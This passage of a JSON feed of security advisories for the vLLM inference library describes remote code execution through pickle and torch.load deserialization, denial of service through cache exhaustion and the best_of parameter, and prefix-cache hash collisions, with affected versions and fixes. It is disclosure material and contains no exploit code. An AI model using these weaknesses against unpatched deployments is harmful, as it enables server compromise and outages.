code.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-03-20T12:32:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-11041","https://huntr.com/bounties/00136195-11e0-4ad0-98d5-72db066e867f","https://github.com/vllm-project/vllm/blob/7193774b1ff8603ad5bf4598e5efba0d9a39b436/vllm/distributed/device_communicators/shm_broadcast.py#L441-L443","https://github.com/advisories/GHSA-5vqr-wprc-cpp7"],"source_kind":"github","identifiers":["GHSA-5vqr-wprc-cpp7","CVE-2024-11041"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-03-21T17:08:11.038Z","updated_at":"2026-06-01T06:03:33.441Z","epss_percentage":0.05599,"epss_percentile":0.90457,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01dnFyLXdwcmMtY3BwN84ABFsD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01dnFyLXdwcmMtY3BwN84ABFsD","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.6.2"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01dnFyLXdwcmMtY3BwN84ABFsD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14M204LWY3ZzUtcWhtN84ABFpg","url":"https://github.com/advisories/GHSA-x3m8-f7g5-qhm7","title":"vLLM Allows Remote Code Execution via Mooncake Integration","description":"### Summary\nWhen vLLM is configured to use Mooncake, unsafe deserialization exposed directly over ZMQ/TCP will allow attackers to execute remote code on distributed hosts.\n\n### Details\n1. Pickle deserialization vulnerabilities are [well documented](https://docs.python.org/3/library/pickle.html).\n2. The [mooncake pipe](https://github.com/vllm-project/vllm/blob/9bebc9512f9340e94579b9bd69cfdc452c4d5bb0/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L206) is exposed over the network (by design to enable disaggregated prefilling across distributed environments) using ZMQ over TCP, greatly increasing exploitability. ~~Further, the mooncake integration opens these sockets listening on all interfaces on the host, meaning it can not be configured to only use a private, trusted network.~~\n\nOnly `sender_socket` and `receiver_ack` are allowed to be accessed publicly, while the data actually decompressed by `pickle.loads()` comes from [recv_bytes](https://github.com/vllm-project/vllm/blob/9bebc9512f9340e94579b9bd69cfdc452c4d5bb0/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L257). Its interface is defined as `self.receiver_socket.connect(f\\\"tcp://{d_host}:{d_rank_offset + 1}\\\")`, where `d_host` is `decode_host`, a locally defined address 192.168.0.139,from mooncake.json (https://github.com/kvcache-ai/Mooncake/blob/main/doc/en/vllm-integration-v0.2.md?plain=1#L36).\n\n3. The root problem is [`recv_tensor()`](https://github.com/vllm-project/vllm/blob/9bebc9512f9340e94579b9bd69cfdc452c4d5bb0/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L257) calls [`_recv_impl`](https://github.com/vllm-project/vllm/blob/9bebc9512f9340e94579b9bd69cfdc452c4d5bb0/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L244) which passes the raw network bytes to `pickle.loads()`. Additionally, it does not appear that there are any controls (network, authentication, etc) to prevent arbitrary users from sending this payload to the affected service.\n\n\n\n### Impact\nThis is a remote code execution vulnerability impacting any deployments using Mooncake to distribute KV across distributed hosts.\n\n### Remediation\nThis issue is resolved by https://github.com/vllm-project/vllm/pull/14228","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-03-19T15:55:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-x3m8-f7g5-qhm7","https://github.com/vllm-project/vllm/pull/14228","https://github.com/vllm-project/vllm/commit/288ca110f68d23909728627d3100e5a8db820aa2","https://nvd.nist.gov/vuln/detail/CVE-2025-29783","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-63.yaml","https://github.com/advisories/GHSA-x3m8-f7g5-qhm7"],"source_kind":"github","identifiers":["GHSA-x3m8-f7g5-qhm7","CVE-2025-29783"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-03-19T16:08:10.612Z","updated_at":"2026-06-01T06:03:33.473Z","epss_percentage":0.02122,"epss_percentile":0.84431,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14M204LWY3ZzUtcWhtN84ABFpg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14M204LWY3ZzUtcWhtN84ABFpg","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.0","vulnerable_version_range":"\u003e= 0.6.5, \u003c 0.8.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14M204LWY3ZzUtcWhtN84ABFpg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tZ3JtLWZnanYtbWh2OM4ABFpf","url":"https://github.com/advisories/GHSA-mgrm-fgjv-mhv8","title":"vLLM denial of service via outlines unbounded cache on disk","description":"### Impact\nThe [outlines](https://dottxt-ai.github.io/outlines/latest/) library is one of the backends used by vLLM to support structured output (a.k.a. guided decoding). Outlines provides an optional cache for its compiled grammars on the local filesystem. This cache has been on by default in vLLM. Outlines is also available by default through the OpenAI compatible API server.\n\nThe affected code in vLLM is [vllm/model_executor/guided_decoding/outlines_logits_processors.py](https://github.com/vllm-project/vllm/blob/53be4a863486d02bd96a59c674bbec23eec508f6/vllm/model_executor/guided_decoding/outlines_logits_processors.py), which unconditionally uses the cache from outlines. vLLM should have this off by default and allow administrators to opt-in due to the potential for abuse.\n\nA malicious user can send a stream of very short decoding requests with unique schemas, resulting in an addition to the cache for each request. This can result in a Denial of Service if the filesystem runs out of space.\n\nNote that even if vLLM was configured to use a different backend by default, it is still possible to choose outlines on a per-request basis using the `guided_decoding_backend` key of the `extra_body` field of the request.\n\nThis issue applies to the V0 engine only. The V1 engine is not affected.\n\n### Patches\n\n* https://github.com/vllm-project/vllm/pull/14837\n\nThe fix is to disable this cache by default since it does not provide an option to limit its size. If you want to use this cache anyway, you may set the `VLLM_V0_USE_OUTLINES_CACHE` environment variable to `1`.\n\n### Workarounds\n\nThere is no way to workaround this issue in existing versions of vLLM other than preventing untrusted access to the OpenAI compatible API server.\n\n### References","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-19T15:52:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-mgrm-fgjv-mhv8","https://github.com/vllm-project/vllm/pull/14837","https://github.com/vllm-project/vllm/blob/53be4a863486d02bd96a59c674bbec23eec508f6/vllm/model_executor/guided_decoding/outlines_logits_processors.py","https://nvd.nist.gov/vuln/detail/CVE-2025-29770","https://github.com/advisories/GHSA-mgrm-fgjv-mhv8"],"source_kind":"github","identifiers":["GHSA-mgrm-fgjv-mhv8","CVE-2025-29770"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-03-19T16:08:10.960Z","updated_at":"2026-06-01T06:03:34.803Z","epss_percentage":0.00658,"epss_percentile":0.71156,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ3JtLWZnanYtbWh2OM4ABFpf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tZ3JtLWZnanYtbWh2OM4ABFpf","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.8.0","vulnerable_version_range":"\u003c 0.8.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ3JtLWZnanYtbWh2OM4ABFpf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ybTc2LTRtcmYtdjlyOM4ABEMS","url":"https://github.com/advisories/GHSA-rm76-4mrf-v9r8","title":"vLLM uses Python 3.12 built-in hash() which leads to predictable hash collisions in prefix cache","description":"### Summary\n\nMaliciously constructed prompts can lead to hash collisions, resulting in prefix cache reuse, which can interfere with subsequent responses and cause unintended behavior.\n\n### Details\n\nvLLM's prefix caching makes use of Python's built-in hash() function. As of Python 3.12, the behavior of hash(None) has changed to be a predictable constant value. This makes it more feasible that someone could try exploit hash collisions.\n\n### Impact\n\nThe impact of a collision would be using cache that was generated using different content. Given knowledge of prompts in use and predictable hashing behavior, someone could intentionally populate the cache using a prompt known to collide with another prompt in use. \n\n### Solution\n\nWe address this problem by initializing hashes in vllm with a value that is no longer constant and predictable. It will be different each time vllm runs. This restores behavior we got in Python versions prior to 3.12.\n\nUsing a hashing algorithm that is less prone to collision (like sha256, for example) would be the best way to avoid the possibility of a collision. However, it would have an impact to both performance and memory footprint. Hash collisions may still occur, though they are no longer straight forward to predict.\n\nTo give an idea of the likelihood of a collision, for randomly generated hash values (assuming the hash generation built into Python is uniformly distributed), with a cache capacity of 50,000 messages and an average prompt length of 300, a collision will occur on average once every 1 trillion requests.\n\n### References\n\n* https://github.com/vllm-project/vllm/pull/12621\n* https://github.com/python/cpython/commit/432117cd1f59c76d97da2eaff55a7d758301dbc7\n* https://github.com/python/cpython/pull/99541","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-02-06T20:00:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.6,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-rm76-4mrf-v9r8","https://github.com/python/cpython/pull/99541","https://github.com/vllm-project/vllm/pull/12621","https://github.com/python/cpython/commit/432117cd1f59c76d97da2eaff55a7d758301dbc7","https://github.com/vllm-project/vllm/commit/73b35cca7f3745d07d439c197768b25d88b6ab7f","https://nvd.nist.gov/vuln/detail/CVE-2025-25183","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-62.yaml","https://github.com/advisories/GHSA-rm76-4mrf-v9r8"],"source_kind":"github","identifiers":["GHSA-rm76-4mrf-v9r8","CVE-2025-25183"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-02-06T20:07:29.940Z","updated_at":"2026-06-01T06:03:49.442Z","epss_percentage":0.00323,"epss_percentile":0.55506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybTc2LTRtcmYtdjlyOM4ABEMS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ybTc2LTRtcmYtdjlyOM4ABEMS","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.7.2","vulnerable_version_range":"\u003c 0.7.2"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ybTc2LTRtcmYtdjlyOM4ABEMS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yaDRqLTVyaHctaHI1NM4ABD24","url":"https://github.com/advisories/GHSA-rh4j-5rhw-hr54","title":"vllm: Malicious model to RCE by torch.load in hf_model_weights_iterator","description":"### Description\nThe vllm/model_executor/weight_utils.py implements hf_model_weights_iterator to load the model checkpoint, which is downloaded from huggingface. It use torch.load function and weights_only parameter is default value False. There is a security warning on https://pytorch.org/docs/stable/generated/torch.load.html, when torch.load load a malicious pickle data it will execute arbitrary code during unpickling.\n\n### Impact\nThis vulnerability can be exploited to execute arbitrary codes and OS commands in the victim machine who fetch the pretrained repo remotely.\n\nNote that most models now use the safetensors format, which is not vulnerable to this issue.\n\n### References\n* https://pytorch.org/docs/stable/generated/torch.load.html\n* Fix: https://github.com/vllm-project/vllm/pull/12366","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-01-27T20:50:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-rh4j-5rhw-hr54","https://nvd.nist.gov/vuln/detail/CVE-2025-24357","https://github.com/vllm-project/vllm/pull/12366","https://github.com/vllm-project/vllm/commit/d3d6bb13fb62da3234addf6574922a4ec0513d04","https://github.com/vllm-project/vllm/releases/tag/v0.7.0","https://pytorch.org/docs/stable/generated/torch.load.html","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-58.yaml","https://github.com/advisories/GHSA-rh4j-5rhw-hr54"],"source_kind":"github","identifiers":["GHSA-rh4j-5rhw-hr54","CVE-2025-24357"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-01-27T21:08:58.393Z","updated_at":"2026-06-01T06:03:51.732Z","epss_percentage":0.01009,"epss_percentile":0.76885,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaDRqLTVyaHctaHI1NM4ABD24","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yaDRqLTVyaHctaHI1NM4ABD24","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.7.0","vulnerable_version_range":"\u003c 0.7.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaDRqLTVyaHctaHI1NM4ABD24/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13YzM2LTk2OTQtZjlyZs4AA_mw","url":"https://github.com/advisories/GHSA-wc36-9694-f9rf","title":"vLLM Denial of Service via the best_of parameter","description":"A vulnerability was found in the ilab model serve component, where improper handling of the best_of parameter in the vllm JSON web API can lead to a Denial of Service (DoS). The API used for LLM-based sentence or chat completion accepts a best_of parameter to return the best completion from several options. When this parameter is set to a large value, the API does not handle timeouts or resource exhaustion properly, allowing an attacker to cause a DoS by consuming excessive system resources. This leads to the API becoming unresponsive, preventing legitimate users from accessing the service.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-09-17T18:33:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-8939","https://access.redhat.com/security/cve/CVE-2024-8939","https://bugzilla.redhat.com/show_bug.cgi?id=2312782","https://github.com/vllm-project/vllm/issues/6137","https://github.com/advisories/GHSA-wc36-9694-f9rf"],"source_kind":"github","identifiers":["GHSA-wc36-9694-f9rf","CVE-2024-8939"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":4.82289302991853,"created_at":"2024-09-17T22:05:58.771Z","updated_at":"2026-06-01T06:04:25.494Z","epss_percentage":0.00025,"epss_percentile":0.07504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13YzM2LTk2OTQtZjlyZs4AA_mw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13YzM2LTk2OTQtZjlyZs4AA_mw","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0.post1"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13YzM2LTk2OTQtZjlyZs4AA_mw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13MnI3LTk1NzktMjdoZs4AA_m0","url":"https://github.com/advisories/GHSA-w2r7-9579-27hf","title":"vLLM denial of service vulnerability","description":"A flaw was found in the vLLM library. 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